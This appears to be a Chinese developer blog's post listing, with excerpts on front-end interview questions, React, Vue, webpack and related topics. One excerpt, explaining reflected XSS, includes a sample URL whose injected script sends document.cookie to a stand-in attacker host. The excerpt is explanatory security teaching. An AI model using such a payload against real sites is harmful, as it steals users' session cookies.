- 博客(80)
- 收藏
- 关注
RSS订阅原创 2020前端秋招整理
趁10月24秋招尾声整理一下个人秋招的面经先做一个简单整理，部分答案或者分类有时间再做，完整答案应该不会做，因为没有必要（wo hen lan）????腾讯csig一面数字数组取得前三个最大值https为什么安全？https真的就安全吗？——可以从https降级攻击，中间人攻击等等谈WebSocket建立的过程原型链继承的缺点有什么？路由的hash模式和history模式的原理以及区别服务端怎么获取请求来源的url？——Referer 和 Originhttp请求头中Referer
2020-10-24 23:53:16
721
1
原创 从vue2依赖收集的缺陷到vue3的proxy
先简单解释下ES6中Proxy的语法，然后从vue2的defineProperty的缺点去理解为什么使用Proxy最后展示二者的区别Proxyconst myProxy = new Proxy(target, handle)使用new Proxy的语法来创建一个拦截器，其中：target 是指要使用 Proxy 包装的目标对象（可以是任何类型的对象，包括原生数组，函数，甚至另一个代理handler 是指一个通常以函数作为属性的对象，用来定制拦截行为后续触发拦截时都需要使用myProx.
2020-10-08 14:06:36
732
原创 持久化缓存（服务器到底要怎么设置缓存）
这个问题最初是8月初QQ音乐现场面试的时候有问到过，当我打算流畅的从浏览器缓存策略到缓存位置大谈特谈的时候，面试官打断了我，直接问：服务器怎么设置各种资源的缓存，缓存多久？那如果项目已经上线还在强缓存范围内的时候页面出现bug，该怎么替换这个页面？Q: 服务器怎么设置各种资源的缓存，缓存多久？首先是静态资源缓存的问题：如果长时间不变就设置久一点，比如很常见的是设置一年的缓存时间:// 设置缓存时间为1年Cache-Control: max-age=31536000也可以同时开.
2020-09-24 13:22:26
1552
原创 仔细扒一些网络攻击
XSS反射型含义： 反射型 XSS 攻击的恶意脚本并没有被存储到后端数据库中，而是诱导用户点击某个精心拼接的恶意链接，从而达到攻击的目的。例子：假如正常请求地址是：https://xxx.com/list?search=搜索什么东西,而攻击者拼接了一个恶意的链接：https://xxx.com/list?search=搜索什么东西<script>fetch(`https://attack.com?cookie=${document.cookie}`)</script>这时候
2020-09-24 12:23:04
294
1
原创 经典js代码题目求输出(佛系更新）
let var 作用域function foo() { console.log(this.num) } var num = 4; foo(); // 4let name = "John";function sayHi() { alert("Hi, " + name); }name = "Pete";sayHi(); // petefunction makeWorker() { let name = "Pete"; return function() { a.
2020-08-15 22:50:46
747
1
原创 koa2+sequelize上传文件以及删除文件
koa2实现上传文件需要中间件的帮助，由三种可以使用的，这里使用koa-body来实现需要注意的是koa-body有一些坑需要注意：位置 use的位置要在app.use(router.routes());之前不能同时与koa-bodyparser同时使用，否则在post请求时会出现请求被拦截的情况app.ts:import * as koaBody from 'koa-body';import * as Router from 'koa-router';import AppRoutes.
2020-08-15 22:44:54
912
原创 sequelize指引手册2020(包含自动生成models)
笔者最近使用koa2 + mySQL + ts写后台，使用sequelize作为orm语言，虽然是第二次使用，但是由于场景和设备更换，搜索引擎得到的资料分散等等问题，使用sequelize时还是发生了一系列不愉快的事情，掉了很多坑，以此作为一个完整的记录，希望之后大家都少踩一些坑。可能后期为了便于搜索，还是会把这篇博客再拆出几篇来。笔者使用的是mysql，下边一些sequelize安装配置的操作对齐的都是mysql什么是orm，什么是sequelize，为什么使用？首先ORM是一个缩写【O-.
2020-08-15 22:25:42
1867
原创 什么？你说你还不懂instanceof？
instanceof 的由来：在 JavaScript 中，判断一个变量的类型尝尝会用 typeof 运算符，但是在使用 typeof 运算符时采用引用类型存储值会出现一个问题，无论引用的是什么类型的对象，它都返回 “object”。因此ECMAScript 引入了另一个 Java 运算符 instanceof 来解决这个问题。instanceof 运算符与 typeof 运算符相似，用于识别正在处理的对象的类型。与 typeof 方法不同的是，instanceof 方法要求开发者明确地确认对象为某特定
2020-08-02 14:23:33
166
1
原创 webpack4一些优化点
当项目越来越大，构建的文件也越来越大，时间也越来越长，强迫症的你还可以忍？？？还是要对webpack搞一些优化，看着它构建速度变快，更漂亮才香啊。找到痛点----速度测量 && 分析包大小speed-measure-webpack-plugin—分析测速这个插件可以通过数据直观的展示测量各个general output时长，plugins，loader的速度，迅速量化掌握打包速度，以及哪个plugin/loader拉低了我们的构建效率。步骤如下：npm install -.
2020-07-26 23:49:38
533
原创 可视化分析包大小 webpack-bundle-analyzer
可视化分析包大小 webpack-bundle-analyzer分析内容：如图所示，打包出的文件包含哪些，大小占比如何，模块包含关系，依赖项，文件是否重复，压缩后大小如何步骤如下：1. 安装：npm install webpack-bundle-analyzer --save-dev2. 配置：webpack.config.js:// 分析包内容 const BundleAnalyzerPlugin = require('webpack-bundle-analyzer').Bund
2020-07-07 21:47:23
16349
5
原创 尽可能的白话SSR和PWA
各路博客总结SSR的真的非常多，一圈看下来还蛮烧脑，不求写出来有多高深，只希望从理解入手，足够直白易懂就好。SSRSSR就是服务端渲染，也经常被称为直出，经常拿来比较的就是客户端渲染，也就是CSR文字理解较为单薄 放一组图CSR：SSR：从两个对比图就可以知道为什么SSR是解决首页白屏的利器了，尽管服务端渲染看起来流程更长更加复杂了，但是服务端渲染速度快，且第一阶段完毕首屏就已经呈现了由图也可以理解这句话：直出一大特征即是直出服务端代替客户端来渲染页面，再将渲染好的html页面.
2020-07-05 16:52:27
1467
原创 whistle in my eyes
whistle是一个跨平台的抓包与 web debug 工具，可以配置代理服务器，模拟接口数据，捕获请求重定向到指定 url，修改请求头响应头，修改 GET 请求的参数，往匹配的页面中注入 js、css手机代理到whistle遇到的一些问题电脑下载根证书，开启捕获HTTPS请求没有遇到什么问题，但是当手机代理到whistle时遇到了一系列问题，首先，点击HTTPS弹出二维码时，两个选择都应该选中打开浏览器扫码或者直接打开链接出现http://rootca.pro网页无法打开的情况时，请查看.
2020-07-05 16:40:58
387
原创 使用brew安装node成功后node -v时not found
首先进行一个检查，看/usr/local/Cellar/node/里是否有node如果文件夹中含有 node 说明安装成功了检查~/.bash_profile在命令行内输入vim ~/.bash_profile，如果有export PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin则进行下一步，无则手动添加此时执行brew link node,如果顺利的话，查看node -v应该已经有版本号了，如果这一步报错，执行下一步brew docto.
2020-05-28 16:26:24
2979
原创 一些实用的学生向脚本(补)
重定向优化百度搜狗谷歌必应搜// ==UserScript==// @name AC-baidu:重定向优化百度搜狗谷歌必应搜索_favicon_双列// @name:en AC-baidu:google_sogou_bing_RedirectRemove_favicon_adaway_TwoLine// @name:zh AC-baidu:重定向优化百度搜狗谷歌必应搜索_favicon_双列// @name:zh-CN AC-bai
2020-05-12 22:55:20
6355
原创 React7——react-router
react-router提供三大组件：Router 所有路由组件共用的底层接口组件，路由规则制定的最外层的容器(可以嵌套)Route 路由规则匹配，并显示当前的规则对应的组件。Link 路由跳转的组件import React from 'react';import { BrowserRouter as Router, Link, Route } from 'react-rou...
2020-04-20 00:05:35
185
原创 React6——redux-saga + 例子
redux-saga和redux-thunk一样，也是一种redux的中间件，它的核心是利用generator函数实现的，即每一个saga都是一个generator函数，因此可以直接通过try/catch捕获但是有别于thunk，它会使数据获取的业务逻辑转移到一个单独的文件中，一般命名为saga.js；dispatch的参数和thunk function不同，仍是和redux一样，是一个纯...
2020-04-19 23:25:19
498
原创 React6—— react生命周期(新) + 例子
生命周期 （新）初始化阶段constructor()类的默认方法，在类中是必须存在的，里边的super()方法是必须的，如果没有定义constructor()，会默认生成一个空的构造器constructor挂载阶段（componentWillMount() ->） render() -> componentDidMount()（componentWillM...
2020-04-19 17:37:27
316
原创 React5—— Redux React-redux Redux-thunk
从redux讲起，redux经常不单独使用，而是借助react-redux这个绑定库完成大量操作，使代码结构更加清晰，最后简单讲解redux-thunk，它是实现异步请求的常用中间件之一。掌握这三个知识点后，就可以实现一个完整react的Demo啦～
2020-04-12 11:55:23
225
原创 React4——Hook 含部分原理
可以使用Hook从组件中提取状态逻辑 使这些逻辑可以单独测试和复用Hook可以在无需修改组件结构的情况下复用状态逻辑。Hook 将组件中相互关联的部分拆分成更小的函数（比如设置订阅或请求数据），而并非强制按照生命周期划分。Hook 使你在非 class 的情况下可以使用更多的 React 特性你只能在React函数最顶层使用Hook不要在循环，条件或嵌套函数中调用 Hook，原因如下...基础Hook1. useSt...
2020-03-15 23:19:55
486
原创 React3——受控组件,React Fragments,ref,context
受控组件类似于vue的v-model通过受控组件， 可以跟踪监听用户操作表单时的数据，从而更新容器组件的 state ，再单向渲染表单元素 UI。如果不使用受控组件，在用户实时操作表单时，比如在输入框输入文本时，不会同步到容器组件的 state受控与非受控组件非受控组件就相当于之前的版本，没有默认值，或者一般将初始状态进行设定，而受控组件指的是为其指定默认值以及为事件绑定与控件对应的值。...
2020-03-15 23:11:59
212
原创 React2——函数组件与class组件
函数组件(无状态)注意⚠️：props是形参，名字可以改，但是一般写props使用props为组件传值组件名字首字母必须大写，否则使用该组件无效不存在state//使用组件const message = { name: 'mob', age: 18, tall: 180, weight: 150}function Com (props) {...
2020-03-15 22:12:30
646
原创 React1——JSX是什么
ReactDOM.render(...)ReactDOM.render(...)是渲染方法： 参数是 要被渲染的虚拟ＤＯＭ元素和指定容器，相当于vue中的elReactDom.render(firstDom, document.getElementById('parent'))JSXReact 使用 JSX 来替代常规的 JavaScriptJSX 是一个看起来很像 XML 的 Ja...
2020-03-15 20:55:46
149
原创 2020前端一些大厂面经系列———JS
接上篇JS1. 用apply或者call实现bind（字节跳动）考察的其实是对bind和apply/call的区别，即新建了一个函数function mybind (fn, obj) { return function () { return fn.apply(obj, arguments) } }...
2020-03-06 17:20:08
701
原创 一些前端该掌握的排序
粘别人的博客的部分博客放笔记里里，但是忘了是哪篇博客里????插入排序// 首先将第一个元素看作一个有序的序列，从第二个元素起，逐个将元素i与已经排好的序列i~0的元素进行比较// 如果该元素小于比较元素，则将比较元素向后移动，将改元素插入，否则就将它插在当前位置 function insertSort (arr) { for (var i in arr) { ...
2020-03-06 17:19:59
291
原创 2020-2022前端一些大厂面经系列———HTML，CSS，算法
寒假已经一周多了，闲下来把自己上学期的真实面试题目和一些个人解答拿出来分享一下~投递的基本都是一些大厂，面试手段的话，是视频面试或者电话面试，也有些是线上笔试这一篇整理的是HTML，CSS，算法部分：
2020-03-06 17:19:26
1079
原创 2020前端一些大厂面经系列———ES6
接上篇ES61. ES6有哪些新特性？（滴滴，腾讯）如果问到这个问题，就把自己熟悉的重要特性简单讲一下，之后面试官就会从你讲的这些里抽出一些知识点来提问，只知道名字的新特性就最好不要提了let const：两个特征：一是块级作用域（在指定块的作用域之外无法访问的变量），二是暂时性死区（let 和 const 声明的变量不会被提升到作用域顶部）对象的解构赋值var obj = {...
2020-03-06 17:19:17
573
原创 2020前端一些大厂面经系列———网络（上）
接上篇网络1. HTTP和HTTPS的区别2. TCP和UDP的区别udp是一种面向无连接，且不可靠的协议，在通信过程中，它并不像 TCP 那样需要先建立一个连接，只要（目的地址，端口号，源地址，端口号）确定了，就可以直接发送信息报文，并且不需要确保服务端一定能收到或收到完整的数据。它仅仅提供了校验和机制来保障一个报文是否完整，若校验失败，则直接丢弃报文，不做任何处理。TCP 是面...
2020-03-06 17:19:07
609
原创 2020前端一些大厂面经系列———网络（下）
接上篇网络11. HTTP2.0 与 HTTP1.X相比有哪些区别？(字节跳动)新的二进制格式：HTTP1.x的解析是基于文本。基于文本协议的格式解析存在天然缺陷，文本的表现形式有多样性，要做到健壮性考虑的场景必然很多，二进制则不同，只认0和1的组合。基于这种考虑HTTP2.0的协议解析决定采用二进制格式，实现方便且健壮。多路复用：即连接共享，即每一个request都是是用作连接共享...
2020-03-06 17:18:58
1862
原创 2020前端一些大厂面经系列———vue,node
接上篇vuevue中组件与组件之间的通信方式（快手）vue实现elementui的dialog手写发布订阅者模式1. 你了解diff算法吗？它的时间复杂度是怎样的？（字节跳动）Diff算法的作用是用来计算出 Virtual DOM (虚拟DOM)中被改变的部分，然后针对该部分进行原生DOM操作，而不用渲染真实DOM（会引起整个DOM的重绘和重排）即不用重新渲染整个页面。注：我们先...
2020-03-06 17:18:48
867
1
原创 2020前端一些大厂面经系列———综合实战篇
接上篇是这个系列最后一篇，主要涉及一些综合问题，以及一些不好分类的前端问题综合实战应用1. 手机扫码登录pc端的某应用是怎么实现的？（字节跳动）2. 图片懒加载是如何实现的？（字节跳动）我们可以即将图片的所有src均指向一个小图片或者设为空 真正的src放在data-src中，然后监听滚动事件，用户浏览到该图片时 将src真实值从data-src中拷贝到src中去，这是简单的懒加载...
2020-03-06 17:18:39
482
原创 算法中常用数组方法和操作字符方法
算法题或者实际中常用的一些数组字符数字的方法，容易忘记和用错，特意记录一下字符串与数组1、 concat()连接两个或多个数组 也可以连接具体的值不改变原数组返回被连接数组的一个副本// arrayObject.concat(arrayX,arrayX,......,arrayX)var arr1 = [1,2];var arr2 = [3,4];var arr3 = [5...
2020-03-05 12:45:18
250
原创 webpack一些手动配置记录
首先npm一波：npm i webpack -Dnpm i webpack-cli -Dwebpack默认情况下约定大于配置，即不指定时，默认入口entry是 src -> index.js,打包好的出口output文件是dist文件夹下的main.js如果想要指定，在webpack.config.js中，这样写即可：const path = require('path')c...
2020-03-05 12:21:19
207
原创 npm常用操作
npm init -y初始化npm在当前目录生成一个package.jsonnpm install 模块名称 （简写为：npm i 模块名称）下载安装某个包，进行这个命令后会在当前目录中生成一个名为node-modules的文件夹另外常见的类似写法还有：npm i 模块名称 -S (-S是–save的简写）表示下载安装这个包并将它的版本信息写入到 package.json里的depe...
2020-02-07 11:33:31
722
原创 You may need an appropriate loader to handle this file type, currently no loaders are configured...
报错是这样的：ERROR in ./src/index.js 8:13Module parse failed: Unexpected token (8:13)You may need an appropriate loader to handle this file type, currently no loaders are configured to process this file....
2020-02-07 10:54:33
80385
1
原创 蛇形填数 js
例：在n×n方阵里填入1，2，…，n×n，要求填成蛇形。例如，n＝4时方阵为：10 11 12 19 16 13 28 15 14 37 6 5 4function Snake (n) { let a=new Array(n).fill(0).map(x=>new Array(n).fill(0)); var x = 0,y = n-1,num = 1; va...
2020-01-19 19:57:43
308
原创 不同路径个数 js
思路：如果是只有一行或者一列的情况，那就都只有一种路径如果是对角线位置，就有先右后下（start->A->C）和先下后右（start->B->C）两种路径，如下图所示：以此类推，我们可以得出每个位置的路径总数都是左边的路径加上下边的路径function short(m, n) { var i,j; let dp=new Array(n).fill...
2020-01-19 19:56:38
520
原创 js手写杨辉三角
思路:初始化一个二维数组循环遍历（第二层遍历两个 第三层遍历三个，以此类推）最左边的位置统统填1其他位置的值是左上方和正上方值相加(因为如果是右边边界，正上方刚好是初始化的0所以直接相加就可以了)// n为指定行数function yanghui (n) { // 初始化二维数组 let dp = new Array(n).fill(0).map(x => new Ar...
2020-01-19 19:54:08
324
原创 call apply bind简单理解
js函数涉及到作用域时，函数定义时作用域以及很多东西无法确定，只有调用它时才能确定call作用是改变运行时上下文（作用域，即this），但是很多博客解释的非常复杂，这个解释比较清楚，直接上代码，上下两段代码等价。function add(c,d) { return this.a + this.b + c + d; } const obj = {a: 1, b:...
2019-11-30 17:04:03
203
原创 ES5与ES6 的继承差异
先简单看看ES5中磨人的继承ES5的继承有许多方式：大概分为 原型链继承，借用构造函数继承，组合继承，原型继承，寄生式继承，寄生组合式继承，我有博客专门详解过，我们这里就拉出一些经典的简单复习一下：有点迷的话请戳这里:js之清晰易懂讲继承（一）原型链继承 // 定义父类 function Parent(name) { this.name = name; ...
2019-11-07 20:30:33
368
原创 vue表单联动 +导入数据
效果如下：默认选择是计算机学院软件工程，当把第一个下拉框选项改为通信与信息工程学院时，后边的下拉框选项变化，比如第一项变成了通信工程实现过程：select部分：用v-for加载选项列表，选择的选项改变时使用v-on:change定义一个方法跟踪选择值的变化 <select v-on:change="indexSelectCollege($event)"> ...
2019-10-24 20:10:10
1271
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人